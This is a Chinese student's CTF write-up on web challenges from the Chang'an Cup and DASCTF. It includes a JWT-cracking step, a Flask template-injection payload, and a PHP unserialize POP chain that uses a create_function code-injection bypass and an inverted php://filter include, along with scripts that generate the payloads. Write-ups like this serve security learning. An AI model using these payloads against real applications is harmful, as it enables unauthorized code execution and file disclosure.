Skip to main content

长安杯线上赛高校组

长安杯web

--9.30起来做了个ezpy,完成了签到的基本目标,

还有2题工具一把梭hh,但感觉只能算做了一题吧。

没做的题目:

一个只知道要传json,不懂怎么利用,后面查资料可能是java的洞; 另一个是ThinkPHP

都没咋接触,要学的东西确实还很多

而且发现很多高校基本都是以web手为主,不过我们的pwn爷和密码哥也在成长了

希望明年国赛能带我进线下Q-Q

ezpy

jwt+ssti

token部分是jwt,https://jwt.io 解码,缺少密钥,用 c-jwt-cracker 爆破得 CTf4r

接下来jwt内容可控,结合题目ezpy,插件wapplalyzer看到是flask模版,尝试模版注入:

因为是用jwt形式传入,双引号不可用,故改用request方法调用模块

{{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

Old But A Little New

没接触过,但不妨碍我一把梭:

joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com)

https://github.com/joaomatosf/jexboss)

2021925131523

asuka

依然一把梭。

补充DASCTF+浙江工业大学

因为长安杯是17.结束,知道这边也有比赛,没想到还可以报名,就进去看了下题:

web

hellounser

后来找到原题: 2020BJDCTF “EzPHP” +Y1ngCTF “Y1ng’s Baby Code” 官方writeup – 颖奇L'Amore (gem-love.com)

<?php
class A {
public $var;
public function show(){
echo $this->var;
}
public function __invoke(){
$this->show();
}
}

class B{
public $func;
public $arg;

public function show(){
$func = $this->func;
if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}
}

public function __toString(){
$this->show();
return "<br>"."Nice Job!!"."<br>";
}


}

if(isset($_GET['pop'])){
$aaa = unserialize($_GET['pop']);
$aaa();
}
else{
highlight_file(__FILE__);
}

?>

简单的反序列化

  1. _invoke:将类当作函数调用时触发
  2. _tosting:将类当作字符串触发

第一步就是到达B类的show方法:

那么令A->$var为B类,然后反序列化a类; 则传入的序列化数据被赋给$aaa,$aaa()将a类当作函数调用,触发_invoke,输出$var,将b类当作字符串,触发tostring,成功到达b->show()

第二步就是绕过正则进行代码执行:

if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}

绕过正则

  • func不能从头到尾只有数字和字母 PHP: 正则中可用的模式修饰符
    • i:大小写不敏感
    • s:点号元字符.匹配所有字符,包括换行符
    • D:美元符$仅匹配目标字符串的末尾,不加D则$会匹配换行符
  • arg则是禁用了大量函数、关键字还有很多符号

func可以用creat_function()进行代码注入 解析create_function()(seebug.org)

创建匿名函数:

create_function('$name','echo $name."a"')

就类似于

function name($name) {
echo $name."a";
}

那么传入a=;}phpinfo();/*就会得到:

function name($name) {
echo $name;}phpinfo();/*;
}

;}将前面的语句和函数闭合,/*把后面的;}注释掉,phpinfo();就成功执行了

这里也是一样:

  1. func=creat_function
  2. arg=;}a();/*

然后就是看如何拿到flag

  1. 起初看到include "flag.php",就想通过$get_defind_vars()输出所有变量从而获得$flag的值

    <?php
    class A {
    public $var;
    public function __construct(){
    $this->var = new B();
    }
    }

    class B{
    public $func="create_function";
    public $arg=";}var_dump(get_defined_vars());//";
    }

    $a = new A();
    echo serialize($a);

    ?>

    但得到的是假的flag,提示真的flag在Tru3flag.php

  2. 那么可以用文件包含+伪协议来读Tru3flag.php:

    php://filter/convert.base64-encode/resource=Tru3flag.php

    伪协议中有关键字被过滤了,将其取反再urlencode编码再传入即可

    <?php
    class A {
    public $var;
    public function __construct(){
    $this->var = new B();
    }
    }

    class B{
    public $func="create_function";
    public $arg;
    public function __construct(){
    $c=(~('php://filter/convert.base64-encode/resource=Tru3flag.php'));
    $this->arg = ';}require(~('.strval($c).'));//';
    }
    }

    $a = new A();
    echo urlencode(serialize($a));

    ?>

    将得到的base64值解码即得flag